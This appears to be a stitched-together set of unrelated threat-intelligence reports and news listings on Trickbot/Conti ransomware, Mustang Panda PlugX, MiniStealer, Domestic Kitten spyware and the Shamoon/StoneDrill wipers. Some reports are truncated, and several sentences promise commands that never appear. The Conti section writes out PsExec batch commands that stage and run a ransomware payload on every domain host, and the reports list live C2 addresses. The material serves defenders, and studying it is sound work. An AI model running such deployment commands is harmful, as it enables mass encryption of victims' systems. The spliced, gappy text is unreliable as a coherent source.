BloodHound was later executed on the domain controller as well. Once again the results were stored in:
```
"C:\Windows\Temp\Dogi"
```
PowerSploit was loaded into memory on the DC and the following functions were used:
```
Get-NetSubnet
Get-NetComputer –ping
```
An encoded PowerShell command was executed on the domain controller to enumerate all AD joined hosts and save the results to:
```
"C:\Users\AllWindows.csv"
```
The decoded PowerShell command:
### Lateral Movement
From the beachhead, WMIC was used to remotely execute ‘165.bat’ on two other hosts. Multiple failed attempts were observed prior to the successful execution of a PowerShell Cobalt Strike loader via a service with “SYSTEM” privileges.
### Command and Control
Multiple C2 channels were established, some were persistent whilst others appeared to be single purpose – used for payload retrieval or fallback C2. Persistent C2 activity was Cobalt Strike. The beachhead had multiple C2 channels, two of which were unique. We assess that the threat actors were ensuring a loss of a single source C2 wouldn’t result in losing all C2 to the compromised environment.
We observed a payload being retrieved from a unique IPv4 address. An indication that the threat actors were keeping C2 channels independent from payload delivery/retrieval. Using the Curl 7.74.0 user agent:
### Exfiltration
As part of the discovery stage, we observed data being exfiltrated. The data ranged from host discovery, running processes, and user accounts: Entire AD forest data – including usernames, DC configuration, and machine enumeration.
### Impact
When the threat actors returned two days later, the final payloads were staged by the threat actors on a domain controller in the following location:
```
C:\share$
```
Two batch scripts were executed on the domain controller to automate ransomware deployment via PSExec. The first was “_COPY.bat”, to stage the CONTI ransomware payload on all domain-joined computers. The second was “_EXE.bat”, to execute the staged CONTI payloads. The batch scripts ran as expected a set of copy commands and then executed the Conti payload using psexec.
```
start PsExec.exe -accepteula @C:\share$\comps1.txt -u "domain\User" -p "$PASSWORD"
cmd /c COPY "\\DOMAINCONTROLLER\share$\fQumH.exe" "C:\windows\temp\"
start PsExec.exe -accepteula -d @C:\share$\comps5.txt -u "domain\User" -p "$PASSWORD"
cmd /c "C:\windows\temp\fQumH.exe"
```
Files were then encrypted with the following extension [KCRAO]. A readme.txt file was created in each folder:
## IOCs
### Network
**Cobalt Strike**
- 149.248.52.187|443
- 88.80.147.101|80
- onlineworkercz.com
- gmbfrom.com
**Trickbot**
- 116.0.6.110
- 123.231.149.123
- 146.196.121.219
- 177.221.39.161
- 180.178.106.50
- 85.248.1.126
- 94.142.179.179
- 94.142.179.77
- 88.150.240.129
- 46.209.140.220
- 85.175.171.246
- 89.37.1.2
- 94.183.237.101
- 103.101.104.229
- 103.124.145.98
- 114.7.240.222
- 131.0.112.122
- 123.231.149.122
- 45.5.152.39
### File
- netscan.exe
- 12.bat
- def.bat
- procdump.exe
- tdr615.exe
- tdrE934.exe
- start.bat
- Get-DataInfo.ps1
- 62.dll
- cancel_sub_VCP1234567890123.xlsx
### Detections
**Network**
- ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O)
- ET CNC Feodo Tracker Reported CnC Server group 1
- ET CNC Feodo Tracker Reported CnC Server group 2
- ET CNC Feodo Tracker Reported CnC Server group 3
- ET CNC Feodo Tracker Reported CnC Server group 5
- ET CNC Feodo Tracker Reported CnC Server group 8
- ET CNC Feodo Tracker Reported CnC Server group 9
- ET CNC Feodo Tracker Reported CnC Server group 19
- ET CNC Feodo Tracker Reported CnC Server group 22
- ET CNC Feodo Tracker Reported CnC Server group 23
- ET CNC Feodo Tracker Reported CnC Server group 24
- ET POLICY HTTP traffic on port 443 (POST)
- ET POLICY PE EXE or DLL Windows file download HTTP
- ET POLICY curl User-Agent Outbound
- ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
- ET INFO Executable Download from dotted-quad Host
- ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1
- ET MALWARE Trickbot Checkin Response
- ET POLICY Observed Cloudflare DNS over HTTPS Domain (cloudflare-dns.com in TLS SNI)
- ET HUNTING Suspicious POST with Common Windows Process Names - Possible Process List
- ET MALWARE Win32/Trickbot Data Exfiltration
- ET POLICY IP Check wtfismyip.com
- GPL ATTACK_RESPONSE command completed
- ET HUNTING Observed Suspicious SSL Cert (External IP Lookup - ident.me)
- ET INFO Dotted Quad Host DLL Request
- ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M3
- ET POLICY Possible External IP Lookup ipinfo.io
### Sigma
- Abused Debug Privilege by Arbitrary Parent Processes
- Accessing WinAPI in PowerShell. Code Injection
- Bad Opsec Powershell Code Artifacts
- CobaltStrike Service Installations
- CreateMiniDump Hacktool
- Domain Trust Discovery
- Dridex Process Pattern
- Empire PowerShell Launch Parameters
- Execution from Suspicious Folder
- Invocation of Active Directory Diagnostic Tool (ntdsutil.exe)
- Local Accounts Discovery
- LSASS Memory Dump
- LSASS Memory Dump File Creation
- LSASS Memory Dumping
- Malicious Base64 Encoded PowerShell Keywords in Command Lines
- Malicious PowerShell Commandlets
- Mimikatz Detection LSASS Access
- Net.exe Execution
- Non Interactive PowerShell
- PowerShell as a Service in Registry
- PowerShell Download from URL
- PowerShell Execution
- PowerShell Network Connections
- PowerShell Scripts Installed as Services
- PsExec Accepteula Condition
- PsExec Tool Execution
- Rare Service Installs
- Regsvr32 Anomaly
- Rundll32 Internet Connection
- Suspicious AdFind Execution
- Suspicious Encoded PowerShell Command Line
- Suspicious In-Memory Module Execution
- Suspicious PowerShell Parent Process
- Suspicious Remote Thread Created
- Suspicious Use of Procdump
- Suspicious Use of Procdump on LSASS
- Suspicious WMI Execution
- Trickbot Malware Recon Activity
- UNC2452 Process Creation Patterns
- Usage of Sysinternals Tools
- Whoami Execution
- Windows Network Enumeration
- Windows PowerShell Web Request
### MITRE
- Phishing: Spearphishing Attachment – T1566.001
- Signed Binary Proxy Execution: Regsvr32 – T1218.010
- Impair Defenses: Disable or Modify Tools – T1562.001
- Domain Trust Discovery – T1482
- OS Credential Dumping: LSASS Memory – T1003.001
- System Owner/User Discovery – T1033
- Command and Scripting Interpreter: PowerShell – T1059.001
- Data Staged: Local Data Staging – T1074.001
- System Information Discovery – T1082
- Account Discovery: Local Account – T1087.001
- Account Discovery: Domain Account – T1087.002
- OS Credential Dumping: NTDS – T1003.003
- Windows Management Instrumentation – T1047
- Browser Bookmark Discovery – T1217
- Data Encrypted for Impact – T1486
- Remote Services: SMB/Windows Admin Shares – T1021.002
### MITRE Software
- AdFind – S0552
- BloodHound – S0521
- Cobalt Strike – S0154
- Systeminfo – S0096
- Net – S0039
- Nltest – S0359
- Esentutl – S0404
- PsExec – S0029
- Cmd – S0106
### References
- TrickBot Malware Alert (AA21-076A), US CERT
- Advisory: Trickbot, NCSC
- Trickbot Still Alive and Well, The DFIR Report
- Hunting for GetSystem in offensive security tools, RedCanary
- TrickBot Banking Trojan, ThreatPost
**Internal case #4641** |
# Security Update Guide
## Microsoft Security Response Center
CVE-2021-1732 |
# Research, News, and Perspectives
## Exploits & Vulnerabilities
### Celebrating 15 Years of Pwn2Own
Join Erin Sindelar, Mike Gibson, Brian Gorenc, and Dustin Childs as they discuss Pwn2Own's 15th anniversary, what we've learned, and how the program will continue to serve the cybersecurity community in the future.
*Latest News May 25, 2022*
### Compliance & Risks
#### S4x22: ICS Security Creates the Future
The ICS Security Event S4 was held for the first time in two years, bringing together more than 800 business leaders and specialists from around the world to Miami Beach on 19-21 Feb 2022. The theme was CREATE THE FUTURE.
*Security Strategies May 12, 2022*
#### Security Above and Beyond CNAPPs
How Trend Micro’s unified cybersecurity platform is transforming cloud security.
*Security Strategies May 10, 2022*
### Bruised but Not Broken: The Resurgence of the Emotet Botnet Malware
During the first quarter of 2022, we discovered a significant number of infections using multiple new Emotet variants that employed both old and new techniques to trick their intended victims into accessing malicious links and enabling macro content.
*Research May 19, 2022*
### New APT Group Earth Berberoka Targets Gambling Websites With Old and New Malware
We recently found a new advanced persistent threat (APT) group that we have dubbed Earth Berberoka (aka GamblingPuppet). This APT group targets gambling websites on Windows, macOS, and Linux platforms using old and new malware families.
*April 27, 2022*
### Why Trend Micro is evolving its approach to enterprise protection
*Security Strategies May 17, 2022*
### Ransomware
#### New Linux-Based Ransomware Cheerscrypt Targets ESXi Devices
Trend Micro Research detected “Cheerscrypt”, a new Linux-based ransomware variant that compromises ESXi servers. We discuss our initial findings in this report.
*Research May 25, 2022*
### Mobile
#### Fake Mobile Apps Steal Facebook Credentials, Cryptocurrency-Related Keys
We recently observed a number of apps on Google Play designed to perform malicious activities such as stealing user credentials and other sensitive user information, including private keys.
*Research May 16, 2022*
### Uncovering a Kingminer Botnet Attack Using Trend Micro™ Managed XDR
Trend Micro’s Managed XDR team addressed a Kingminer botnet attack conducted through an SQL exploit. We discuss our findings and analysis in this report.
*Research May 18, 2022*
### Cloud
#### The Fault in Our kubelets: Analyzing the Security of Publicly Exposed Kubernetes Clusters
While researching cloud-native tools, our Shodan scan revealed over 200,000 publicly exposed Kubernetes clusters and kubelet ports that can be abused by criminals.
*May 24, 2022*
### Ransomware
#### Examining the Black Basta Ransomware’s Infection Routine
We analyze the Black Basta ransomware and examine the malicious actor’s familiar infection tactics.
*Research May 09, 2022* |
# Mustang Panda Abuses Legitimate Apps to Target Myanmar Based Victims
**Update 12.06.22:** Mustang Panda is targeting countries across Europe and Asia Pacific, utilizing geopolitical events to their advantage. Their attack chain remains consistent, with the continued use of archive files, shortcut files, malicious loaders, and the use of PlugX malware. The goal of this particular operation appears to be collecting sensitive information from European countries and states from Asia, which might be supporting Western countries.
## Executive Summary
The BlackBerry Research & Intelligence Team recently uncovered a campaign by an advanced persistent threat (APT) group called Mustang Panda that is leveraging the PlugX malware family to target the Southeast Asian state of Myanmar. Our team analyzed the samples in question and found their embedded configurations revealed a set of command-and-control (C2) domains that masquerade as Myanmar news outlets. This is not the first time a campaign targeting this state has impersonated Myanmar news outlets or used PlugX malware. These tactics, techniques, and procedures (TTPs), along with other corroborating evidence – such as a previous indication that the group was active in this location – lead us to assert with reasonable confidence that the China-based threat group known as Mustang Panda is responsible for this campaign.
## Mustang Panda: an Origin Story
Mustang Panda (aka HoneyMyte, Bronze President or Red Delta) is a prolific APT group that has been publicly attributed as being based in China. This group conducted malware campaigns as far back as 2012, which primarily related to cyber-espionage. Their targets have included Government and Non-Government Organizations (NGO) in many locations around the world, from various states in Southeast Asia to the European Union to the U.S. and beyond.
## Mustang Panda Attack Vector
Mustang Panda typically sends phishing emails with malicious document attachments as an initial infection vector. These documents are usually designed to mimic those of the targeted country or organization, or even current world affairs applicable to that region. Once threat actors gain a foothold within a target organization, they typically deploy one of a variety of payloads such as Cobalt Strike, Poison Ivy, or PlugX, the latter of which is used most extensively.
### Initial Thread
In late May of this year, BlackBerry detected some unusual network traffic to a domain – www.myanmarnewsonline.org. At first glance, this URL appeared to be a Myanmar news website. The files found to be communicating with this site were encompassed in several .RAR files. These files had a relatively low detection ratio on VirusTotal (VT), and they followed a naming convention designed to make them appear to be legitimate utilities relating to Hewlett-Packard (HP) printers. The RAR archives contained a legitimate signed utility from HP, along with a DLL loader and a DAT file that is an encrypted PlugX payload. One of the legitimate utilities (“HPCustParticUI.exe” – SHA256 8857232077b4b0f0e4a2c3bb5717fd65079209784f41694f8e1b469e34754cf6) was previously used in a similar fashion as part of a PlugX execution chain, which was documented by another vendor in September 2021.
In early June of this year, a tweet from the user @kienbigmummy mentioned an additional .RAR file titled “service Log.rar” that was linked with a sub-domain of the previously mentioned website – images.myanmarnewsonline.org – that was associated with PlugX and the Mustang Panda APT group. We examined the network infrastructure linked to each of these three RAR files, which provided evidence of additional samples that conform to the same or similar TTPs going back as far as late 2020, along with other sample types such as Cobalt Strike beacon.
## What is PlugX?
PlugX is a remote access tool (RAT) used by several threat groups. It is the malware of choice for the Chinese APT group Mustang Panda. This group delivers the PlugX implant in the form of an encrypted data blob, which is typically paired with a DLL loader as well as a benign application. This actor has commonly employed the stealthy technique of side-loading the malicious DLLs into legitimate applications during execution. This action then deploys the PlugX implant into memory.
We noted threat actors had used three separate legitimate applications within our RAR files; a free VPN service, and two legitimate HP applications related to HP’s Digital Imaging. Each legitimate application was bundled with a DLL and a data file. In two out of the three RAR files, the DAT file masqueraded as a different file format, such as JSON or CHM. Upon execution of the legitimate application, the threat loads a malicious DLL loader in a specific set order, which the threat actor has strategically placed in the same folder to replace a legitimate one. This proceeds to side-load the DLL by abusing the DLL search order, which is a technique also known as DLL Search Order Hijacking. The malicious DLL is then loaded into the legitimate application, where it decrypts, loads and deploys the malicious PlugX implant.
## Technical Analysis
The DLL loader is heavily obfuscated and employs dynamic API resolution upon runtime. It retrieves a handle to the encrypted PlugX implant, then reads the data into a newly allocated region within memory. Execution is then passed to the implant, where the shellcode is executed, and it XOR decrypts the embedded payload. Once decryption is complete, RtlDecompressBuffer is called to decompress the decrypted payload to its final form.
## Conclusion
Mustang Panda, which is publicly known as a Chinese-affiliated APT group, has an established history of using the PlugX malware and targeting nations throughout South-East Asia. This threat actor has been previously linked to campaigns targeting Myanmar government entities using custom lures and compromising the website of the office of Myanmar’s president. The TTPs associated with the campaign covered in this report align with those of Mustang Panda. We observed a typical attack chain employed by the group, where attackers used a benign executable to side-load a malicious DLL loader, which then decrypts and loads the PlugX implant. We have also confirmed the C2 infrastructure associated with this campaign has been used to target entities in Myanmar, including a government VPN portal, from early March onwards.
## Indicators of Compromise (IoCs)
**File**
| SHA256 | Name | Description |
|--------------------------------------------------------------------------------------------|-------------------------|--------------------------------------------------------------|
| 843709a59f12ff7aa06a5837be7a1a93fdf6f02f99936af6658c166e8abcaa2d | Service Log.rar | RAR file encompassing a legit signed utility + a DLL loader + a DAT PlugX payload |
| 0f3ec2a01ae57c7dd2bb8f130f0f2d1c20fcb397e5b8bbff491517b6d179919e | HP.rar | RAR file encompassing a legit signed utility + a DLL loader + a DAT PlugX payload |
| 558cbbcb969fe2fa3f1c74c376e307efcdbe3bad7497095619927edd5762363a | ColorLaserJet.rar | RAR file encompassing a legit signed utility + a DLL loader + a DAT PlugX payload |
**Network**
| Indicator | Type | Description |
|--------------------------------------------|-------------|-------------|
| Update.hilifimyanmar.com | Domain | C&C |
| Download.hilifimyanmar.com | Domain | C&C |
| Images.myanmarnewsonline.org | Domain | C&C |
| www.myanmarnewsonline.org | Domain | C&C |
| 154.204.26.120 | IP | C&C |
| 45.134.83.4 | IP | C&C |
## Defense
### Yara Rule for Mustang Panda
```yara
rule targeted_MustangPanda_dll {
meta:
description = "Rule to detect malicious DLL originally used to target Myanmar"
author = "The BlackBerry Research & Intelligence team"
version = "1.0"
last_modified = "2022-08-02"
hash = "74fe609eb8f344405b41708a3bb3c39b9c1e12ff93232d4b7efe648d66ea7380"
hash = "a0d7e541d5c579d2e0493794879fee58d8603b4f3fb146df227efa34c23d830e"
hash = "efade7cf8f2caeb5a5d1cf647796975b0b153feac67217fccbdd203e473a4928"
license = "This Yara rule is provided under the Apache License 2.0 and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team"
strings:
$code1 = {88E280F20088DD20D588C680F6FF80E60020D008E908C630F188D834FF88CA30C220CA88D834FF88F920C180F7FF20FB08D988C834FF88D530C520D588D034FF88CE20C680F1FF20CA08D688E834FF88F180F1FF80F4}
$code2 = {EA08D188DA80F2FF88CD30D520CD34FF88F980F1FF88E280F20008C880CA0034FF20D088E920C130C508E988D834FF88FA20C288F834FF88DD20C508EA88D820}
condition:
uint16(0) == 0x5A4D and
filesize < 10MB and
any of them
}
```
### MITRE ATT&CK
- T1583.001 Acquire Infrastructure: Domains
- T1027 Obfuscated Files or Information
- T1036.005 Masquerading: Match Legitimate Name or Location
- T1574.002 Hijack Execution Flow: DLL Side-Loading
### D3FEND
- D3-FA (File Analysis)
- D3-LFP (Local File Permissions)
- D3-DA (Dynamic Analysis)
- D3-EFA (Emulated File Analysis)
- D3-EAL (Executable Allowlisting)
- D3-SCA (System Call Analysis)
## About The BlackBerry Research & Intelligence Team
The BlackBerry Research & Intelligence team examines emerging and persistent threats, providing intelligence analysis for the benefit of defenders and the organizations they serve. |
# Research, News, and Perspectives
## Celebrating 15 Years of Pwn2Own
Join Erin Sindelar, Mike Gibson, Brian Gorenc, and Dustin Childs as they discuss Pwn2Own's 15th anniversary, what we've learned, and how the program will continue to serve the cybersecurity community in the future.
**Latest News** May 25, 2022
## S4x22: ICS Security Creates the Future
The ICS Security Event S4 was held for the first time in two years, bringing together more than 800 business leaders and specialists from around the world to Miami Beach on 19-21 Feb 2022. The theme was CREATE THE FUTURE.
**Security Strategies** May 12, 2022
## Security Above and Beyond CNAPPs
How Trend Micro’s unified cybersecurity platform is transforming cloud security.
**Security Strategies** May 10, 2022
## Bruised but Not Broken: The Resurgence of the Emotet Botnet Malware
During the first quarter of 2022, we discovered a significant number of infections using multiple new Emotet variants that employed both old and new techniques to trick their intended victims into accessing malicious links and enabling macro content.
**Research** May 19, 2022
## New APT Group Earth Berberoka Targets Gambling Websites With Old and New Malware
We recently found a new advanced persistent threat (APT) group that we have dubbed Earth Berberoka (aka GamblingPuppet). This APT group targets gambling websites on Windows, macOS, and Linux platforms using old and new malware families.
**April 27, 2022**
## Why Trend Micro is Evolving Its Approach to Enterprise Protection
**Security Strategies** May 17, 2022
## New Linux-Based Ransomware Cheerscrypt Targets ESXi Devices
Trend Micro Research detected “Cheerscrypt”, a new Linux-based ransomware variant that compromises ESXi servers. We discuss our initial findings in this report.
**Research** May 25, 2022
## Fake Mobile Apps Steal Facebook Credentials, Cryptocurrency-Related Keys
We recently observed a number of apps on Google Play designed to perform malicious activities such as stealing user credentials and other sensitive user information, including private keys.
**Research** May 16, 2022
## Uncovering a Kingminer Botnet Attack Using Trend Micro™ Managed XDR
Trend Micro’s Managed XDR team addressed a Kingminer botnet attack conducted through an SQL exploit. We discuss our findings and analysis in this report.
**Research** May 18, 2022
## The Fault in Our kubelets: Analyzing the Security of Publicly Exposed Kubernetes Clusters
While researching cloud-native tools, our Shodan scan revealed over 200,000 publicly exposed Kubernetes clusters and kubelet ports that can be abused by criminals.
**May 24, 2022**
## Examining the Black Basta Ransomware’s Infection Routine
We analyze the Black Basta ransomware and examine the malicious actor’s familiar infection tactics.
**Research** May 09, 2022 |
# Mini Stealer: Possible Predecessor of Parrot Stealer
**August 29, 2022**
## Mini Stealer’s Builder & Panel Released for Free
During a routine threat hunting exercise, Cyble Research and Intelligence Labs (CRIL) discovered a post on a cybercrime forum where a Threat Actor (TA) released MiniStealer’s builder and panel for free. The TA claims that the stealer can target operating systems such as Windows 7, 10, and 11. Using such builders, TAs can easily generate malicious payloads. MiniStealer mainly targets FTP applications and Chromium-based browsers.
Nearly a month after the release of MiniStealer, the same TA made a post selling Parrot Stealer’s builder and panel for USD 50. The TA stated that this stealer is based on MiniStealer. We suspect that the TA might have added the functionalities in Parrot Stealer which were missing in MiniStealer.
## Builder and Web Panel
The zip file leaked by the TA contains two folders, as shown below. These folders contain the following files:
- **Builder:** MiniStealerBuilder.exe, Stub
- **Panel:** Web Panel Source code
The builder released by the TA is a .NET-based binary. It has the functionality to add the Command and Control (C&C) details to the payload. The builder loads a file named “stub,” which is the actual payload, and then writes the C&C details to it for generating the final payload. The test button sends the Test Logs to the C&C server to check if the connection can be established. These logs contain three connection strings: TestUser, TestPass, and TestHost.
The TA has also released the source code of the web panel, which can be used to receive stolen data from a target network.
## Technical Analysis
(Sample SHA256: e837a0e6b01ca695010ee8bc4df57a6a9c6ef6e2c22e279501e06f61f0354f67)
Mini Stealer is a 64-bit .NET binary that uses Timestomping. Timestomping is a technique that modifies the timestamps of a file. Adversaries use this technique on their payloads to deflect any unnecessary attention during forensic investigations.
The stealer uses multiple Anti-Analysis checks to prevent debugging of the sample. To detect profiling, the code verifies if the COR_ENABLE_PROFILING environment variable is present and set to 1. Profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET Common Language Runtime. This stealer spawns a thread for continuously checking if the stealer payload is being debugged. To check for the presence of debuggers, this thread executes methods such as IsDebuggerPresent, OutputDebugString, and Debugger.IsLogging.
This stealer payload steals data from the following Chromium-based browsers and FTP applications. The stealer appears to be in the development stage as several FTP applications are hardcoded in the stealer, but it does not appear to target all of them. The TA might have added these functionalities in Parrot Stealer, which is suspected to be an upgraded paid version of MiniStealer. For the FTP application, the stealer steals data from configuration files. For browsers, the stealer copies certain files for exfiltration present in the AppData\Browser directory, which stores user session and login credentials.
**Over 25 Chromium-based browsers:**
Chrome, AvastBrowser, AVGBrowser, Browser360, CCleanerBrowser, CentBrowser, Chedot, Citrio, CocCoc, ComodoDragon, CoolNovo, Coowon, ElementsBrowser, EpicPrivacyBrowser, IridiumBrowser, Kometa, LiebaoBrowser, Maxthon, OperaGX, OperaNeon, Orbitum, QIPSurf, Sleipnir, SlimJet, Sputnik, SRWareIron, uCozMedia, Vivaldi, Yandex.
**Over 20 FTP Applications:**
Filezilla, FlashFXP, AutoFTPManager, AutoFTPPro, BitKinex, BulletproofFTP, ClassicFTP, CoreFTP, CuteFTP, Cyberduck, Dreamweaver, FreeFTP, DirectFTP, ftpcommander, FTPEXPLORER, FTPRush, FTPvoyager, LeapFTP, MultiCommander, SmartFTP, SuperPutty, TotalCommander, TurboFTP, WSFTP, WinSCP.
## Conclusion
The availability of free malware builders and panels can assist TAs in carrying out attacks, as TAs do not need to invest time and money to get malware payloads for cybercrime purposes. There is always the possibility that the TA might have released the builder and panel of MiniStealer for free for marketing purposes and to build a reputation amongst themselves on cybercrime forums. The TA’s behavior further reinforces this theory as after one month, they began selling a paid stealer, which is suspected to be based on MiniStealer. CRIL continuously monitors emerging threats and has observed a surge in the use of stealer malware by TAs.
## Our Recommendations
We have listed some essential cybersecurity best practices that create the first line of control against attackers. We recommend that our readers follow the best practices given below:
- Avoid downloading pirated software from warez/torrent websites. The “Hack Tool” present on sites such as YouTube, torrent sites, etc., contains such malware.
- Use strong passwords and enforce multi-factor authentication wherever possible.
- Turn on the automatic software update feature on your computer, mobile, and other connected devices.
- Use a reputed anti-virus and internet security software package on your connected devices, including PC, laptop, and mobile.
- Refrain from opening untrusted links and email attachments without first verifying their authenticity.
- Educate employees in terms of protecting themselves from threats like phishing/untrusted URLs.
- Block URLs that could be used to spread the malware, e.g., Torrent/Warez.
- Monitor the beacon on the network level to block data exfiltration by malware or TAs.
## MITRE ATT&CK® Techniques
| Tactic | Technique ID | Technique Name |
|------------------------|--------------|-----------------------------------------------------|
| Execution | T1204 | User Execution |
| Defense Evasion | T1497.001 | Virtualization/Sandbox Evasion: System Checks |
| | T1070.006 | Indicator Removal on Host: Timestomp |
| Credential Access | T1555 | Credentials from Password Stores |
| | T1539 | Steal Web Session Cookie |
| | T1552 | Unsecured Credentials |
| | T1528 | Steal Application Access Token |
| Discovery | T1087 | Account Discovery |
| | T1518 | Software Discovery |
| | T1057 | Process Discovery |
| | T1007 | System Service Discovery |
| Command and Control | T1071 | Application Layer Protocol |
| Exfiltration | T1041 | Exfiltration Over C2 Channel |
## Indicators of Compromise (IOCs)
| Indicator | Description |
|---------------------------------------------|--------------|
| d65def0ad7f1b428bc1045cf2214b82f | MD5 Malicious |
| e2beda0ef5d1c38bb96fb7eb6ee25990073e6a17 | SHA1 binary |
| e837a0e6b01ca695010ee8bc4df57a6a9c6ef6e2c22e279501e06f61f0354f67 | SHA256 | |
# Domestic Kitten APT Operates in Silence Since 2016
An extensive surveillance operation targets specific groups of individuals with malicious mobile apps that collect sensitive information on the device along with surrounding voice recordings. Researchers with CheckPoint discovered the attack and named it Domestic Kitten. The targets are Kurdish and Turkish natives, and ISIS supporters, all Iranian citizens. The data collected by Domestic Kitten from compromised phones includes a wealth of information, as detailed below:
- contact lists
- call records
- text and multimedia messages
- browser history and bookmarks
- geographical location
- photos
- recordings of nearby conversations
- list of installed apps
- data on external storage
- clipboard content
The operation may be active since 2016. The threat actor uses three mobile applications that are of interest to the potential victims: a wallpaper changer, an app purporting to offer news updates from ANF (a legitimate Kurdish news website), and a fake version of the Vidogram messaging app. The wallpaper changer is designed to lure victims by offering them ISIS-related pictures to set as the screen background.
The certificate used for signing all three apps, a requirement for installing them on an Android device, was issued in 2016. This suggests that the campaign escaped detection for two years. To exfiltrate data from a compromised device, the apps use HTTP POST requests to the command and control (C2) server available at newly registered domains. One of the apps also contacts a website that resolved to an Iranian IP address initially but changed to a Russian address.
All data delivered to the C2 is encrypted with the AES algorithm and can be decrypted with a device ID the attacker creates for each victim.
## Domestic Kitten Makes Thousands of Collateral Victims
CheckPoint's analysis shows that 240 users have fallen victim to operation Domestic Kitten. More than 97% of them are Iranians, the rest being victims in Afghanistan, Iraq, and Great Britain. However, due to the comprehensive nature of the surveillance of the campaign, private information of thousands of individuals has been compromised. They are not necessarily the object of the surveillance, but collateral victims whose details were leaked from contact lists or conversations with the targets.
## Clues Point to State-Backed Iranian APT
In a report shared with BleepingComputer, the researchers say that the operator of Domestic Kitten remains unconfirmed, but based on the political conditions in the region, they believe Iranian government entities are behind it. "Indeed, these surveillance programs are used against individuals and groups that could pose a threat to the stability of the Iranian regime. These could include internal dissidents and opposition forces, as well as ISIS advocates and the Kurdish minority settled mainly in Western Iran," CheckPoint explains. They say that the nature of the targets, the apps, and the attack infrastructure are clues that support the theory of an Iranian origin. |
# From Shamoon to StoneDrill
## Wipers attacking Saudi organizations and beyond
Beginning in November 2016, Kaspersky Lab observed a new wave of wiper attacks directed at multiple targets in the Middle East. The malware used in the new attacks was a variant of the infamous Shamoon worm that targeted Saudi Aramco and Rasgas back in 2012. Dormant for four years, one of the most mysterious wipers in history has returned.
So far, we have observed three waves of attacks of the Shamoon 2.0 malware, activated on 17 November 2016, 29 November 2016, and 23 January 2017. Also known as Disttrack, Shamoon is a highly destructive malware family that effectively wipes the victim machine. A group known as the Cutting Sword of Justice took credit for the Saudi Aramco attack by posting a Pastebin message on the day of the attack (back in 2012) and justified the attack as a measure against the Saudi monarchy.
The Shamoon 2.0 attacks observed since November 2016 have targeted organizations in various critical and economic sectors in Saudi Arabia. Just like the previous variant, the Shamoon 2.0 wiper aims for the mass destruction of systems inside targeted organizations. The new attacks share many similarities with the 2012 wave, though featuring new tools and techniques. During the first stage, the attackers obtain administrator credentials for the victim’s network. Next, they build a custom wiper (Shamoon 2.0) which leverages these credentials to spread widely inside the organization. Finally, on a predefined date, the wiper activates, rendering the victim’s machines completely inoperable. It should be noted that the final stages of the attacks have their activity completely automated, without the need for communication with the command and control center.
While investigating the Shamoon 2.0 attacks, Kaspersky Lab also discovered a previously unknown wiper malware which appears to be targeting organizations in Saudi Arabia. We’re calling this new wiper StoneDrill. StoneDrill has several “style” similarities to Shamoon, with multiple interesting factors and techniques to allow for better evasion of detection. In addition to suspected Saudi targets, one victim of StoneDrill was observed on the Kaspersky Security Network (KSN) in Europe. This makes us believe the threat actor behind StoneDrill is expanding its wiping operations from the Middle East to Europe.
### Characteristics of the new wiper attacks
For both Shamoon and StoneDrill:
- Shamoon 2.0 includes a fully functional ransomware module, in addition to its common wiping functionality.
- Shamoon 2.0 has both 32-bit and 64-bit components.
- The Shamoon samples we analyzed in January 2017 do not implement any command and control (C&C) communication; previous ones included a basic C&C functionality that referenced local servers in the victim’s network.
- StoneDrill makes heavy use of evasion techniques to avoid sandbox execution.
- While Shamoon embeds Arabic-Yemen resource language sections, StoneDrill embeds mostly Persian resource language sections. Of course, we do not exclude the possibility of false flags.
- StoneDrill does not use drivers during deployment (unlike Shamoon) but relies on memory injection of the wiping module into the victim’s preferred browser.
- Several similarities exist between Shamoon and StoneDrill.
- Multiple similarities were found between StoneDrill and previously analyzed NewsBeef attacks.
## What is new in this report?
This report provides new insights into the Shamoon 2.0 and StoneDrill attacks, including:
1. The discovery techniques and strategies we used for Shamoon and StoneDrill.
2. Details on the ransomware functionality found in Shamoon 2.0. This functionality is currently inactive but could be used in future attacks.
3. Details on the newly found StoneDrill functions, including its destructive capabilities (even with limited user privileges).
4. Details on the similarities between malware styles and malware components’ source code found in Shamoon, StoneDrill, and NewsBeef.
### Shamoon: It’s all about the “resources”
Few people ever expected the return of Shamoon after four years of silence. This made the news from the Middle East on 17 November 2016 quite surprising and sent multiple shockwaves through the industry. After the second wave of attacks, which took place on 29 November 2016, it became quite clear that Shamoon 2.0 was no longer an isolated incident, but part of a new series of attacks and we should expect more waves coming in. In order to make sure that Kaspersky Lab customers were protected, we started to develop specific detection strategies and hunt for possible new variants.
To create the new detections, we used multiple ideas:
- The Shamoon wipers have their additional payloads stored as encrypted resources.
- Just like in 2012, the early Shamoon 2.0 samples used resources with three very specific names - "PKCS7", "PKCS12" and "X509". Because of their uniqueness, it was relatively easy to find and detect them just by the resource names and their high entropy. Unfortunately, newer versions had random resource names like "ICO", "LANG" and "MENU", so the ability to easily find new samples was lost.
However, all programmers, especially malware writers, have their own habits, and the authors of Shamoon are no exception:
- Since the Shamoon 1.0 story, from 2012 until 2016, many samples had one additional encrypted resource with a specific, although non-unique name "101".
This finding got us thinking that the Shamoon attackers can re-use this pattern and we’ve investigated ways of using this to hunt for new, unknown malware generations from their side. As researchers, we tested a lot of different approaches to find similar malicious samples based on this artifact, and one of them worked unexpectedly. Here’s the logic we used to create the detection:
1. We assumed that for the next waves of attack the authors would continue to recompile the Shamoon 2.0 version from 2016, while trying to avoid AV detection, so we focused mostly on the newest Shamoon versions.
2. We assumed that the wiper would again enumerate all files inside folders, so it would still call Windows API functions FindFirstFile and FindNextFile.
3. Because it uses encrypted resources, we assumed that it would find and load them with the Windows API functions FindResource and LoadResource.
4. Inside all known versions of Shamoon 2.0, the resource "101" was found, with the following properties:
- Level of entropy > 7.8 - that means the data inside is encrypted or compressed.
- Size about 30 KB - we’ve decided to set the minimum limit at 20 KB.
- Language = neutral (not set); all other resources had the languages "Arabic (Yemen)" or "English United States".
- Does not contain an unencrypted PE executable file inside.
After initial testing, we decided to add more search criteria to limit the number of possible false positive detections:
- Shamoon samples had no digital signature, so the sample would be unsigned.
